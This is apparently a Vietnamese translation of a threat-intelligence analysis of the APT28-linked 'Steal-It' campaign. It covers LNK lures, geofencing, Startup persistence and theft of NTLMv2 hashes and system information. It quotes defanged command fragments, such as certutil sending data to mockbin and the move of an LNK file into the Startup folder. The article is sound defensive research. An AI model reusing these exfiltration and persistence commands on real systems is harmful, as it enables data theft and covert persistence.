Phân tích chiến dịch đánh cắp thông tin Steal-It

10:15 | 26/10/2023

Các nhà nghiên cứu tại Zscaler ThreatLabz (trụ sở chính tại Mỹ) gần đây đã phát hiện ra một chiến dịch đánh cắp thông tin mới với tên gọi là Steal-It. Trong chiến dịch này, kẻ tấn công đã đánh cắp và lọc các hàm băm NTLMv2 bằng cách sử dụng các phiên bản tùy chỉnh của tập lệnh PowerShell Start-CaptureServer trong framework Nishang.

Thông qua phân tích chuyên sâu về payload độc hại, các nhà nghiên cứu quan sát thấy chiến dịch tập trung nhắm mục tiêu vào Úc, Ba Lan và Bỉ. Các nhà nghiên cứu tin rằng đứng sau chiến dịch Steal-It là nhóm tin tặc APT28 (còn gọi là Fancy Bear) dựa trên những điểm tương đồng của nó với cuộc tấn công mạng APT28 được Trung tâm Ứng cứu khẩn cấp máy tính Ukraine (CERT-UA) báo cáo vào tháng 4/2023.

PHÂN TÍCH KỸ THUẬT

Đánh cắp hàm băm NTLMV2

Hình 1. Luồng lây nhiễm đánh cắp hàm băm NTLMv2

Chuỗi lây nhiễm này được thực hiện bằng cách sử dụng phiên bản tùy chỉnh của tập lệnh PowerShell Start-CaptureServer của Nishang và truyền các hàm băm bị đánh cắp thông qua API mô phỏng tới Mockbin.

Hành vi này bắt đầu bằng một kho lưu trữ ZIP đi kèm với tệp LNK (shortcut) độc hại, tệp LNK được ủy quyền tải xuống và thực thi một tập lệnh PowerShell khác từ trang web “mockbin[.]org” và “webhook[.]site” như Hình 2.

Hình 2. Tải xuống tệp LNK ban đầu và thực thi tập lệnh PowerShell Start-CaptureServer tùy chỉnh của Nishang

Tập lệnh PowerShell được thực thi bởi tệp LNK độc hại là phiên bản tùy chỉnh của tập lệnh Start-CaptureServer.ps1 của Nishang, được phát triển đặc biệt để thu thập các giá trị hàm băm NTLMv2.

Các tác nhân đe dọa đã sửa đổi Start-CaptureServer.ps1 bằng cách xóa ghi chú (comment) để tránh phát hiện tĩnh và phương pháp xác thực cơ bản để lấy thông tin xác thực.

Sửa đổi quan trọng nhất mà các nhà nghiên cứu quan sát thấy là các giá trị băm NTLMv2 được mã hóa base64 đã thu thập được lọc ra bằng cách gọi hàm “Net.WebClient.DownloadString()” với URL “https[:]//mockbin.org/bin/<id>”.

Hình 3. Phiên bản tùy chỉnh của tập lệnh PowerShell Start-CaptureServer của Nishang

Khi hàm “DownloadString()” được thực thi, nó sẽ thực hiện yêu cầu GET tới URL mockbin[.]org được chỉ định.

Mockbin cho phép tạo các điểm cuối tùy chỉnh để kiểm tra, mô phỏng và giám sát các yêu cầu cũng như phản hồi HTTP trên các thư viện, socket và API khác nhau. Khi yêu cầu GET được gửi tới URL Mockbin bằng hàm băm NTMLv2 được mã hóa base64 đã thu thập, yêu cầu đó sẽ được ghi lại ở phía máy chủ và có thể bị theo dõi bởi các tác nhân đe dọa.

Đánh cắp thông tin hệ thống

Hình 4. Luồng lây nhiễm đánh cắp thông tin hệ thống

Hành vi đánh cắp thông tin hệ thống (systeminfo) sử dụng mạng xã hội OnlyFans để lôi kéo người dùng tải xuống các giai đoạn sau của chuỗi, sau đó lọc các đầu ra lệnh tới Mockbin. Chuỗi lây nhiễm bắt đầu bằng một kho lưu trữ ZIP có tên “best_tits.zip” đi kèm với tệp LNK độc hại có tên “onlyfans.com-1.lnk”.

Sau khi thực thi, tệp LNK độc hại sẽ chạy lệnh mở trình duyệt Microsoft Edge với đối số được mã hóa base64. Đối số này là JavaScript one-liner để chuyển hướng đến URL “http://run[.]mocky[.]io/v3/<id>” bằng cách sử dụng “location.href”.

Hình 5. Tệp LNK ban đầu

Để che giấu hành vi chuyển hướng độc hại, lệnh này cũng mở trang web OnlyFans hợp pháp trong một tab khác và tạm dừng thực thi trong 9 giây. Lúc này URL run[.]mocky[.]io đã mở là một trang HTML có mã JavaScript độc hại thực hiện các hành động sau:

  • Xác minh xem tiêu đề User-Agent có bao gồm từ khóa “win” để xác định xem hệ điều hành đang được sử dụng có phải là Windows hay không.
  • Sử dụng API định vị địa lý “IPAPI” để kiểm tra xem mã quốc gia có phải là “AU” (Úc) hay không.

Cụ thể, việc tìm kiếm mã quốc gia “AU” cho thấy chuỗi lây nhiễm được khoanh vùng địa lý và nhắm mục tiêu vào người dùng từ Úc.

Nếu hệ điều hành của người dùng là Windows và họ đến từ Úc, mã sẽ tiến hành tải xuống một tệp LNK độc hại khác có tên “m8”. Tệp này được tạo ra bằng cách giải mã một khối dữ liệu được mã hóa base64.

Hình 6. Trang HTML Run[.]Mocky[.]io được khoanh vùng địa lý cho người dùng mục tiêu từ Úc

Hơn nữa, tệp LNK đã tải xuống sẽ được sao chép vào thư mục Startup như được chỉ định trong đối số của tệp LNK trước đó: “move /y %userprofile%\Downloads\m8 m8.lnk”. Do thư mục làm việc của tệp LNK trước đó được đặt thành đường dẫn thư mục Startup nên tệp LNK sẽ được sao chép vào thư mục Startup. Do đó, tệp “m8.lnk” sẽ được thực thi mỗi khi hệ thống được khởi động lại, cho phép hệ thống tồn tại lâu dài.

Khi được thực thi, tệp LNK đã tải xuống m8.lnk sẽ tải xuống tệp CMD từ run[.]mocky[.]io và sao chép nó vào thư mục Startup dưới dạng “m8.cmd”, theo phương pháp tương tự như tệp LNK trước đó. Tệp CMD m8.cmd được thực thi khi khởi động lại hệ thống và là tập lệnh cuối cùng được ủy quyền để thu thập và lọc thông tin hệ thống. Sau khi được thực thi, trước tiên nó sẽ chạy ba lệnh hệ thống sau: “ipconfig, “systeminfo”, “tasklist” và lưu kết quả đầu ra vào thư mục ProgramData. Từ đây, tập lệnh base64 mã hóa các tệp đầu ra lệnh bằng “CertUtil” và đặt các biến môi trường cho đầu ra lệnh được mã hóa base64 bằng cách sử dụng “set /p ipc=<%programdata%\<b64enc_cmdoutput>”. Các biến môi trường mới đặt sẽ được lọc bằng cách thực hiện yêu cầu GET tới mockbin[.]org bằng cách sử dụng “certutil -urlcache -f <http[:]//mockbin[.]org/bin/<id>/%env_var%”.

Hình 7. Thực thi các lệnh hệ thống và trích xuất đầu ra sang Mockbin.org

Ở cuối tập lệnh, quá trình dọn dẹp diễn ra, trong đó các tệp đầu ra lệnh bị xóa và đầu ra lệnh của các lệnh đã thực thi: ipconfig, systeminfo, tasklist được lọc sang URL Mockbin.

Chuỗi lây nhiễm Whoami Exfil

Hình 8. Luồng chuỗi lây nhiễm WHOAMI EXFIL

Chuỗi lây nhiễm Whoami Exfil sử dụng mạng xã hội Fansly để lôi kéo người dùng tải xuống các giai đoạn sau của chuỗi, chuỗi này sẽ lọc các đầu ra lệnh tới Mockbin.

Luồng hoạt động này bắt đầu bằng một kho lưu trữ ZIP đi kèm với tệp LNK độc hại. Tệp LNK mở URL “http://run[.]mocky[.]io/v3/<id>” trong trình duyệt, bao gồm một trang HTML có Javascript độc hại. Trong trường hợp này, JavaScript thực hiện các hành động sau:

  • Xác minh xem tiêu đề User-Agent có bao gồm từ khóa “win” hay không.
  • Sử dụng API định vị địa lý IPAPI để kiểm tra xem mã quốc gia có phải là “PL” (Ba Lan) hay không.
  • Xác minh xem địa chỉ IP có phải là “ipv4” hay không.

Cụ thể, việc tìm kiếm mã quốc gia “PL” cho thấy chuỗi lây nhiễm được khoanh vùng địa lý và nhắm mục tiêu vào người dùng từ Ba Lan.

Nếu tất cả các điều kiện trên đều được thỏa mãn, JavaScript sẽ tải xuống tệp ZIP có tên “fansly.zip”. Tệp ZIP bao gồm ba hình ảnh JPEG để lôi kéo người dùng tải xuống một tệp bactch độc hại, được gọi là “fansly.com_online.bat”.

Sau khi được thực thi, tập lệnh fansly.com_online.cmd sẽ thực hiện các hành động sau:

  • Viết VBScript và tập lệnh batch trong thư mục ProgramData và thực thi VBscript.
  • VBScript sẽ mở hình ảnh thực JPEG để che giấu các hành động độc hại và sau đó thực thi tập lệnh batch được ghi trong thư mục ProgramData.
  • Sau khi được thực thi, tập lệnh batch sẽ chấm dứt mọi tiến trình “msedge.exe” đang chạy, xóa mọi tệp .css trong thư mục Download, mở URL mockbin[.]org để tải tệp “eucv8o.css” vào Download, di chuyển eucv8o.css vào thư mục ProgramData dưới dạng “eucv8o.cmd” rồi thực thi.

Khi URL mockbin[.]org được mở bằng tập lệnh batch trong trình duyệt Microsoft Edge, JavaScript sẽ thực hiện các hành động sau:

  • Xác minh xem tiêu đề User-Agent có bao gồm từ khóa “win” hay không.
  • Đảm bảo rằng User-Agent không chứa chuỗi “wow” cho biết quy trình 32 bit đang chạy trên máy Windows 64 bit.
  • Kiểm tra xem phiên bản trình duyệt (Chrome/Firefox”UserAgent - Microsoft Edge cũng sử dụng Chrome) có lớn hơn “100” hay không.

Nếu tất cả các điều kiện trên đều được thỏa mãn, JavaScript sẽ chuyển hướng đến một URL mockbin[.]org khác để thực thi một mã JavaScript khác nhằm thực hiện các hành động sau:

  • Xác minh xem tiêu đề User-Agent có bao gồm chuỗi “edg” để xác định xem trình duyệt Microsoft Edge có đang được sử dụng hay không.
  • Sử dụng API định vị địa lý IPAPI để kiểm tra xem mã quốc gia có phải là “PL” không.

Nếu tất cả các điều kiện trên được đáp ứng, tệp eucv8o.css sẽ được tải xuống bằng cách giải mã blob base64 trong thư mục Download . Như đã đề cập ở trên, eucv8o.css được chuyển vào thư mục ProgramData dưới dạng eucv8o.cmd và sau đó được thực thi: chấm dứt tiến trình “msedge.exe”, thực thi lệnh “Whoami” và lưu kết quả đầu ra vào thư mục ProgramData, đặt biến môi trường “dobpyk” thành đầu ra của lệnh Whoami, lọc đầu ra của lệnh này tới URL mockbin[.]org bằng cách gửi yêu cầu GET với đầu ra lệnh như sau: “mockbin[.]org/bin/<id>/<cmd_output>”, xóa tệp đầu ra lệnh và tệp .css đã tải xuống.

Hình 9. Thực thi Whoami và trích xuất kết quả ra Mockbin.org

Chuỗi lây nhiễm Exfil của Windows Update

Hình 10. Luồng chuỗi lây nhiễm Exfil của Windows Update

Trong phân tích về chuỗi lây nhiễm này, các nhà nghiên cứu đã quan sát thấy một kho lưu trữ ZIP đi kèm tệp LNK sử dụng kỹ thuật khoanh vùng địa lý để nhắm mục tiêu vào người dùng ở Bỉ và vô tình tải xuống nhiều giai đoạn của tập lệnh PowerShell thực thi các lệnh hệ thống để thu thập thông tin cơ bản cho các mục đích xấu.

Đối với chuỗi lây nhiễm này, vectơ ban đầu là tệp LNK độc hại được đóng gói bên trong kho lưu trữ ZIP (ví dụ: “command_powershell.zip”). Tệp LNK độc hại mở URL “run[.]mocky[.]io” bằng Microsoft Edge. Thao tác này sẽ tải tệp “c1” xuống thư mục Download , sau đó tệp này được chuyển vào thư mục Startup dưới dạng “c1.bat”. Bất cứ khi nào hệ thống được khởi động lại, c1.bat sẽ được thực thi.

Tệp c1.bat bao gồm tiêu đề “Window Update” (giống hệt với chủ đề email lừa đảo) và có nhiệm vụ tải xuống một tập lệnh khác từ run[.]mocky[.]io vào thư mục ProgramData bằng cách sử dụng CertUtil.

Để che giấu hoạt động độc hại, tập lệnh batch hiển thị một thông báo dường như vô hại trên bảng điều khiển kèm theo thanh tiến trình. Tin nhắn có nội dung: “Dynamic Update for Windows Systems (KB5021043)”.

Hình 11. Thực thi tập lệnh batch Windows Update giả mạo

Tệp LNK mở URL run[.]mocky[.]io bằng Microsoft Edge, sau đó thực hiện các hành động sau:

  • Xác minh xem tiêu đề User-Agent có bao gồm từ khóa “edg” hay không.
  • Sử dụng API định vị địa lý IPAPI để kiểm tra xem mã quốc gia có phải là “BE” (Bỉ) hay không.

Cụ thể, việc tìm kiếm mã quốc gia “BE” cho thấy chuỗi lây nhiễm được khoanh vùng địa lý và nhắm mục tiêu vào người dùng từ Bỉ (Hình 12).

Hình 12. HTML được khoanh vùng địa lý nhắm mục tiêu đến người dùng từ Bỉ

Nếu cả hai điều kiện trên đều được thỏa mãn, tập lệnh “b4.css” sẽ được tải xuống thư mục Download bằng cách giải mã blob base64. Tập lệnh sau đó được chuyển vào thư mục Startup và đổi tên thành “b4.cmd”. Điều này giúp các tác nhân đe dọa duy trì sự tồn tại lâu dài như trong các chuỗi lây nhiễm khác. Sau khi thực thi, b4.cmd sẽ mở một URL run[.]mocky[.]io khác bằng Microsoft Edge. Mã JavaScript thực thi tập lệnh batch với tiêu đề “Updating Windows” và hiển thị thông báo: “Dynamic Update for Windows Systems (KB5021043)” Từ đây, một tập lệnh khác được tải xuống từ run[.]mocky[.]io trong thư mục ProgramData bằng cách sử dụng CertUtil để thực thi tập lệnh đó. Trong quá trình phân tích, URL Mocky không thể truy cập được, do đó, khi tìm kiếm các tập lệnh tương tự có thông báo “Window Update” như Hình 11, các nhà nghiên cứu đã phát hiện ra một tập lệnh PowerShell thực thi tập lệnh cuối cùng được tải xuống từ run[.]mocky [.]io. Tập lệnh này cũng sử dụng tiêu đề là “Updating Windows” và thông báo “ynamic Cumulative Update for Windows (KB5023696)” để che giấu ý định độc hại. Tập lệnh PowerShell cuối cùng trong tập lệnh này được ủy quyền để thực thi các lệnh tasklist và systeminfo trên hệ thống, sau đó sử dụng “WebClient.UploadString()” để lọc đầu ra lệnh tới URL mockbin[.]org bằng cách sử dụng yêu cầu POST.

Ngoài thông tin hệ thống, các nhà nghiên cứu cũng quan sát thấy các trường hợp đường dẫn tệp đầy đủ được lọc sang mockbin[.]org bằng cách thực thi lệnh “Get-ChildItem -Path <path> -Recurse -File | select FullName” và sau đó lọc đầu ra lệnh bằng cách sử dụng hàm WebClient.UploadString().

KẾT LUẬN

Phân tích của Zscaler ThreatLabz về chiến dịch Steal-It cho thấy chiến lược định vị địa lý được nhắm mục tiêu và các chiến thuật tinh vi của các tác nhân đe dọa. Sự tỉ mỉ và quy trình kỹ thuật được thể hiện trong chiến dịch Steal-It nhấn mạnh tầm quan trọng của các biện pháp an ninh mạng mạnh mẽ hiện nay.